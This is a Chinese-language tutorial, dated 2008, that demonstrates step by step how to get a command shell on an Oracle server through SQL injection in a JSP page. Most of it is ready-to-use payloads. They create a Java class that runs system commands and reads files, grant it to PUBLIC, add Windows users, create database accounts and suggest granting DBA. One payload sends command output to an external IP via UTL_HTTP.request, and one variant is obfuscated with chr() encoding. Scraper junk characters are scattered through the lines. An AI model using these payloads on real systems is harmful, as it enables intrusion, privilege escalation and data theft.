实例演示oracle注入获取cmdshell的全过程

admin

以下的演示都是在web上的sql plus执行的，在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成

　　/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)
的形式即可。(用" 'a'|| "是为了让语句返回true值)
语句有点长，可能要用post提交。
以下是各个步骤：
1.创建包
- \  N1 w+ a& u5 i" k% s通过注入 SYS.DBMS_EXPORT_EXTENSION 函数，在oracle上创建Java包LinxUtil，里面两个函数，runCMD用于执行系统命令，readFile用于读取文件：
. X, f9 r  ^: Q" I/xxx.jsp?id=1 and '1'<>'a'||(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
, W) M8 m8 J# F1 I% l$ n+ G- e9 Ncreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
/ a6 k8 u3 _* U2 snew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
}'''';END;'';END;--','SYS',0,'1',0) from dual
  d) h  q  S/ O6 F! j)
------------------------
如果url有长度限制，可以把readFile()函数块去掉，即：
/xxx.jsp?id=1 and '1'<>'a'||(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
/ F4 B( D$ E0 X' m# Lnew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
) D( w( V* V+ g* T}'''';END;'';END;--','SYS',0,'1',0) from dual
)
同时把后面步骤 提到的 对readFile()的处理语句去掉。
% x' [; b. I( e0 Y6 F------------------------------
1 P  E$ s, L8 ?) S' [% @2.赋Java权限
$ \5 s! A( b& |4 s7 hselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual
3.创建函数
; i) k+ H5 f% C" Wselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
! X- @4 }& [( ~6 F7 Ocreate or replace function LinxRunCMD(p_cmd in varchar2)  return varchar2  as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
; M2 L1 ~  d; R/ xcreate or replace function LinxReadFile(filename in varchar2)  return varchar2  as language java name ''''''''LinxUtil.readFile(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual
4.赋public执行函数的权限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
' N7 s* M% ~  S2 C. tselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual
5.测试上面的几步是否成功
and '1'<>'11'||(
select  OBJECT_ID from all_objects where  object_name ='LINXRUNCMD'
- ^5 Q. {' N+ W4 R$ B& y)
and '1'<>(
2 V0 v3 p, P+ m( z2 ]) N+ Tselect  OBJECT_ID from all_objects where  object_name ='LINXREADFILE'
)
, r, y$ `4 l2 @( Q, k3 T$ |6.执行命令：
/xxx.jsp?id=1 and '1'<>(
select  sys.LinxRunCMD('cmd /c net user linx /add') from dual
5 w: E- H7 a- s8 U
( H: M; R! E4 X6 ~2 L4 O0 O* a5 L)
& m- L2 w; A. C* `. G* H6 N/xxx.jsp?id=1 and '1'<>(
select  sys.LinxReadFile('c:/boot.ini') from dual
* Z3 h# R) {, v) U
)
　　
: R+ g1 ^1 c4 F+ r, |) m: R2 E# ~注意sys.LinxReadFile()返回的是varchar类型，不能用"and 1<>" 代替 "and '1'<>"。
" ?% M7 Y2 H3 ^, d! I2 S, y- O如果要查看运行结果可以用 union :
/xxx.jsp?id=1 union select  sys.LinxRunCMD('cmd /c net user linx /add') from dual
. R: E& L7 R% O9 D& [5 `1 X+ \0 k或者UTL_HTTP.request(:
0 V4 g: ?2 @7 K# q4 D  f) z1 V/xxx.jsp?id=1 and '1'<>(
0 ]+ y5 a0 r0 h# V4 MSELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual
: E9 S3 ?7 V# f- L)
/xxx.jsp?id=1 and '1'<>(
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual
)
注意：用UTL_HTTP.request时，要用 REPLACE() 把空格、换行符给替换掉，否则会无法提交http request。用utl_encode.base64_encode也可以。
8 R7 ~8 r. g4 p: b3 Z4 |--------------------
5 |( h5 ], g( h. X3 e6.内部变化
通过以下命令可以查看all_objects表达改变：
5 T! P' J6 d- k- L' qselect  * from all_objects where  object_name like '%LINX%' or  object_name like '%Linx%'
2 C+ d, P- G/ _2 t: i7.删除我们创建的函数
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
drop function LinxRunCMD  '''';END;'';END;--','SYS',0,'1',0) from dual
: Y6 @9 ?2 D+ @: J# N====================================================
# t: g) R4 M3 b/ ?' B* i8 S全文结束。谨以此文赠与我的朋友。
linx
7 p4 i/ q7 J) M! E0 w( j8 O! D124829445
2008.1.12
linyujian@bjfu.edu.cn
9 e$ c4 [% k; m$ }, m) ]/ f% @======================================================================
测试漏洞的另一方法：
( u8 H4 W: o& l; H9 {6 Q创建oracle帐号：
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
; ^  a9 g$ O9 \( C) j$ Y* h- W$ XCREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
4 |; }# ~' r7 Q$ n# A0 _即：
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
5 }  h( p$ ^7 R+ @& A  fchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
1 \" a! T" }! p  j5 c/ E确定漏洞存在：
1<>(
select user_id from all_users where username='LINXSQL'
)
* Z( y0 `' x: Q9 \& Z" A给linxsql连接权限：
0 Q4 A9 R% K% t$ l# [' Hselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
" t8 T  ], R5 [8 l" a6 yGRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
删除帐号：
$ x& i) n, m/ {3 w' h6 G# V# zselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual
$ B! H! c% s& U: F======================
以下方法创建一个可以执行多语句的函数Linx_query()，执行成功的话返回数值"1"，但权限是继承的，可能仅仅是public权限，作用似乎不大，真的要用到话可以考虑grant dba to 当前的User：
1.jsp?id=1 and '1'<>(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1;  end;   '''';END;'';END;--','SYS',0,'1',0) from dual
) and ... 1.jsp?id=1 and '1'( select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT.PUT(:P1);EXECUTE IMMEDIATE
　)
* s) u8 u) d# M: g/ h
! y: V5 R& u( G7 ?) l' l